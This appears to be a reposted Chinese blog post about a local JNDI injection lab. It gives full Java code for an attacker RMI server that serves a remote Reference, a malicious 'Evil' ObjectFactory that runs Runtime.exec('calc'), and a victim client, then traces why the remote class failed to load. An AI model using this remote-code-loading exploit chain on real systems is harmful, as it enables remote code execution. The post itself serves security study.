IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Java知识库 -> JNDI注入 Reference + RMI 打开了rmi.object.trustURLCodebase还是失败 -> 正文阅读

[Java知识库]JNDI注入 Reference + RMI 打开了rmi.object.trustURLCodebase还是失败

前情提要

服务端(攻击者)

package org.example.rmi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class ReferenceServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        String allClassName = "Evil";
        String url = "http://192.168.48.131:8000/";
        Reference reference = new Reference(allClassName, allClassName, url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("aaa", referenceWrapper);
        System.out.println("rmi服务端开启了");

    }
}

恶意类(class放在192.168.48.131:8000的http服务器上)

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Evil implements ObjectFactory {
    static {
        System.out.println(2222222);
    }
    /**
     * @param obj  包含可在创建对象时使用的位置或引用信息的对象(可能为 null)。
     * @param name 此对象相对于 ctx 的名称,如果没有指定名称,则该参数为 null。
     * @param ctx  一个上下文,name 参数是相对于该上下文指定的,如果 name 相对于默认初始上下文,则该参数为 null。
     * @param env  创建对象时使用的环境(可能为 null)。
     * @return 对象工厂创建出的对象
     * @throws Exception 对象创建异常
     */
    public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {
        // 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE
        System.out.println(1111);
        return Runtime.getRuntime().exec("calc");
    }
}

客户端(被攻击者)

package org.b1ackc4t.se.jndi;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JClient {
    public static void main(String[] args) throws NamingException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        InitialContext ctx = new InitialContext();
        Object obj = ctx.lookup("rmi://192.168.48.131:1099/aaa");
        System.out.println(obj);
    }
}

看上去代码没有任何问题,我因为客户端的版本比较高就手动打开了trustURLCodebase,但依旧无法执行恶意代码

解决过程

打开服务端

在这里插入图片描述
客户端在lookup处打下断点(用force step into 否则会直接跳过jdk的代码)

在这里插入图片描述
开始调试客户端代码

在这里插入图片描述
rmi stub的操作在lookup就结束了,到decodeObject开始解析拿到的对象

在这里插入图片描述
明显在判断是否是Reference对象,是的话就针对性处理一波

在这里插入图片描述
判断一下开没开trustURLCodebase,我显然开了,顺利进入getObjectInstance,这个方法听名字就知道是个核心方法

在这里插入图片描述
在这里插入图片描述
走到这里出了个大问题,getObjectFactoryFromReference明显是获取远程工厂类的,结果获取了个null出来,在这打个断点,重新调试一次

在这里插入图片描述
先尝试在本地加载工厂类,找不到再去远程codebase找,我们自然是进入了远程的loadClass

在这里插入图片描述
进来就又判断一次trustURLCodebase,上次不是才判断过了吗?
在这里插入图片描述
不出意外的判断失败了,很怪,我们追一下这个trustURLCodebase变量

在这里插入图片描述
问题明了,判断的是ldap的那个trustURLCodebase,所以我们要把这个也设置为true,问题解决

package org.b1ackc4t.se.jndi;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JClient {
    public static void main(String[] args) throws NamingException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        InitialContext ctx = new InitialContext();
        Object obj = ctx.lookup("rmi://192.168.48.131:1099/aaa");
        System.out.println(obj);
    }
}

在这里插入图片描述

总结

LDAP的trustURLCodebase因为带了LDAP,我就以为只有LDAP加载远程工厂才需要打开它,现在看了代码后才知道rmi加载远程工厂同样要打开LDAP的trustURLCodebase,我还是太年轻了

  Java知识库 最新文章
计算距离春节还有多长时间
系统开发系列 之WebService(spring框架+ma
springBoot+Cache(自定义有效时间配置)
SpringBoot整合mybatis实现增删改查、分页查
spring教程
SpringBoot+Vue实现美食交流网站的设计与实
虚拟机内存结构以及虚拟机中销毁和新建对象
SpringMVC---原理
小李同学: Java如何按多个字段分组
打印票据--java
上一篇文章      下一篇文章      查看所有文章
加:2022-03-12 17:18:07  更:2022-03-12 17:19:13 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 10:24:18-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码